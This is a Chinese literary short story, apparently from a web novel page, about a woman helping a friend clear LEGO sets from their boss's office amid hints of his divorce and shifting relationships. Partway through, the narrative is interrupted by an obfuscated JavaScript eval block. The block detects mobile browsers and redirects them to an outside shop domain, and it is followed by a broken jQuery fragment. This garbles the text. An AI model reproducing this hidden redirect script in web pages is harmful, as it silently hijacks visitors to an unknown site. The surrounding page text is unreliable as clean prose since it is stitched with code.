苏南的微信是在周二晚上进来的。
祝青云正在沙发上看一份下载的行业简报，手机亮了一下。苏南发了一张照片——卧室顶灯只亮了一半，另外半边暗着。配文："灯泡坏了，不想换。你在干嘛？"祝青云回了两个字："懒死。"苏南秒回了一个猫滑倒的表情包，然后跟了一条："你最近怎么样？"
这已经是苏南这周第三次问她"最近怎么样"了。第一次她回了"还行"，第二次回了"忙"，这一次她打了三个字："还行吧。"苏南没有追问，隔了一会儿发来一条语音："我今晚在Jason办公室，你来吗？"祝青云盯着那行字看了几秒。她几乎每天都经过Jason办公室门口，汇报工作、递文件、确认进度。但"去他办公室"和"去他办公室待着"，是两回事。苏南说的是后者。她回了一个问号。苏南的语音很快过来，不到十秒："他那边有个乐高展柜要清掉，我过去帮他收一下，你过来搭把手。"语气平常，但祝青云听出了那层底色——苏南想要她去，不只是因为需要帮手。
到办公室已经过了八点半。走廊里的灯大部分暗了，只有尽头Jason的办公室还亮着。平时白天推这扇门，门通常是全开的，Jason坐在办公桌后面抬头看她一眼，等她说完话就低下头继续看屏幕。今晚门只开了一条缝，她没有敲门，直接推开进去了。
苏南正蹲在地上，面前摊着几个打开的乐高展示盒，旁边的空纸箱已经堆了三个。Jason坐在办公桌后面看手机，抬起头看了祝青云一眼，点了点头，没有问"你怎么来了"。
苏南抬头看了她一眼："你快点，帮我看看这些零件怎么分。"她指着一堆散件，"拆了一下午，有些已经分不清是哪一套里的了。"苏南把零件按颜色大致分好了，还剩一小堆颜色不确定的躺在桌面上。祝青云随手拿起一块深蓝色的板件翻了一下，边缘有轻微的磨损——它被拼上又拆开过，不止一次。"这盒放了多久了？"苏南没有抬头："他说是三年前拼的，现在不想留了。"她手里拿着一只密封袋，正在把拆好的零件放进去，"拆完了他要换新的展柜。"
祝青云没有接话，看着那些按颜色分类的零件，有些还留着拼接时的压痕。她想象Jason坐在办公桌前拆它们的样子——不是扔掉一件不需要的东西，是让一件已经完成的东西，回到可以重新开始的状态。
三个人各自占据着各自的位置。苏南蹲在箱子旁边，把零件一袋一袋放好，动作熟练。Jason坐在办公桌后面，目光落在手机屏幕上，但滑动的频率比平时慢。祝青云站在窗台旁边，靠近展示架的位置。她们之间的距离，在这里和在别处都不一样——这里的空隙，有人在重新测量。
苏南站起来，把一个纸箱推到墙角，走到窗台旁边。窗边的展示架上放着一只拼好的乐高小狗，黄色的身体，黑色的关节连接件，左前腿的位置是空的，露出一个黑色的球形接口。苏南看着那只狗，没有伸手碰。她安静了几秒："这个还留着？"Jason没有抬头："那是以前的，不收了。"
苏南的手指还搭在展示架边缘，没有收回去。祝青云注意到她站在窗台边的姿势——完全放松的站姿，她只在苏南自己家里见过：穿着睡衣，手边一杯没喝完的酒，脚蜷在沙发垫子边缘。但这里是Jason的办公室。那种松弛的意思很明白：一个不需要解释自己为什么站在这里的人。苏南在让她看——这条边界已经移动过了。
"那它能拆吗？"苏南问。
Jason说："你想拆就拆，拆完还能用。"
苏南沉默了一会儿，伸手碰了一下那只小狗的耳朵。很小的一块黄色塑料，拼得很紧，没有晃动。她收回了手。
"你太太最近怎么样？"她问得很平。但这个问题，她显然准备了很久。
Jason的拇指在手机边框上停了一下。他看了看墙角的空纸箱，又看了看窗台上那只缺了腿的狗。
"她还在加拿大，"他说，"前几天回来了一趟，办手续。"
苏南没有说话。她站在那里，看着桌面上那堆还没封口的零件，没有再问。
"还好。"过了一会儿，Jason又说，声音比刚才低了一些，"早就该走这一步了。"说话的时候，目光落在那些零件上。
办公室里安静得能听见走廊尽头空调的低鸣。苏南最后把一块灰色零件放进袋子，封好口，站起来，拍了拍膝盖上的灰。"那我先走了。"她走到门口停了一下，"你要是想聊，我过几天再过来。"没有等他回答，推门走了。门在身后合上，一声很轻的响。
办公室里安静了一会儿。Jason没有看手机，也没有站起来。他看着桌面上那些没封口的零件，手指在桌沿上动了一下。祝青云站在窗台旁边没有走——她不知道自己该不该留下来，但Jason没有让她走的意思。他坐了一会儿，目光从桌面移到窗台上那只狗，又从那只狗移到墙角封好的纸箱上。他开口了："我不知道她想要的是那只狗，还是那个位置本身。"声音不高，不像在问她。
祝青云没有立刻回答。她看着那只缺了腿的乐高小狗，灯光把它的影子投在展示架边缘。她忽然想起方严在车里说"我还在想"的那个晚上，他握着方向盘的手没有动。Jason此刻的姿态和方严不同，但他在那个问题上停留的方式是同一个方向——不确定自己是不是值得被选择的那个人。
她说："苏南跟我说，你从来不拒绝她来。"Jason没有否认，那枚灰色零件在他手里来回转动。"上次她走的时候说过一句话，"他说，"她说，你一直拼乐高，是因为你拼好的东西不会走。"他顿了一下，"我当时没有回答她。"我留着它，是替她留着的。"他说"替她留着"的时候，声音比刚才低了一些。祝青云不知道他说的是那只狗，还是别的什么。她没有问。
"那你自己呢？"她问。Jason没有说话，低头看着手上那枚灰色零件，拇指沿着边缘走了一圈，没有找到让它停下来的位置。过了一会儿，他说："我需要时间。"然后他把那枚零件放进了墙角的纸箱——不是放在桌面上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740836|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那个动作很小，但方向是清楚的：他在收，不是在摆。
她走到门口，停了一下："那只狗你要是想留着，就留着，不用让她来拿。"她没有说"你不用急着做决定"，也没有说"你跟她谈谈"。
从Jason办公室出来，祝青云在国贸楼下站了一会儿。秋天的风从楼与楼之间灌进来，冷。她拉了一下外套领口，看着街对面的写字楼——大部分窗口已经暗了，只剩几排还亮着。苏南发来一条消息："他是不是又想说什么但没说？"祝青云没有直接回答："他说那只狗你可以拿走。"苏南过了一会儿才回："我知道。"然后跟了一条："我只是不确定那个位置是不是留给我的。"祝青云看着那行字，锁了屏，转身往地铁站的方向走。
周五晚上回到方严家，快十点了。方严还在书房，键盘声隔着墙传过来，很轻。她换了睡衣，打开电视，打算看一个综艺。手机亮了一下，苏南发来一张照片，没有配文。
客厅茶几上放着那只乐高小狗。黄色的身体，黑色的关节连接件，左前腿的位置还是空的。照片拍得很低，像蹲在地上随手按的，能看见茶几腿和地板缝。她看了很久，不知道是苏南回去拿的，还是Jason后来送过去的。只知道它现在被放在苏南家的茶几上，在照片边缘的暗影里，占据着一个刚被腾出来的位置。
方严从书房出来，走到沙发旁边坐下。两个人没有说话。窗外有风的声音。过了一会儿，祝青云开口了："我那天看到一个人，站在一扇没关好的门前面，不知道要不要推开它。"她停了一下，没有看方严，"那种犹豫，让我想到你上次说的那个'还在想'。"方严没有说话。他的手指在沙发上搭着，没有碰她，但也没有收回去。过了一会儿，他说："你是在说我，还是在说那个人？"祝青云说："都有。"
"最近觉得有点累。"方严说。他的声音不重，语调也没有变化。祝青云没有转头看他，目光落在窗台上那盆绿萝的轮廓上。"是项目的事？""也不全是。"他说，"就是觉得很多事情做完了，但没有做完的感觉。"他停了一下，"今天下午我在办公室里坐了一会儿，什么事都没干，就是坐着。"祝青云没有说话，不是累得不想动，是连想都不想想——这种状态她认识。
去年有一天傍晚，她坐在呼家楼的窗台上，手里捏着一根没点的烟，看着窗外的树，不知道自己为什么坐在那里。那种累不是身体上的，是做完了一件该做的事之后，没有下一件该做的事在等你。
现在方严说出"今天下午我在办公室里坐了一会儿"的时候，她忽然觉得，他正站在她曾经站过的那个位置。
她说："你知道那种累的时候，有人坐在旁边也是好的。"方严没有说话。他搭在沙发上的手指动了一下，然后从沙发上移开——不是收回去，是落向她搭在膝盖上的那只手。指腹碰到她的手背，停住了，没有用力。
她低头看了一眼两个人之间的那只手，没有动，不知道那条腿还会不会被拼上，但那只狗已经到了它该在的位置。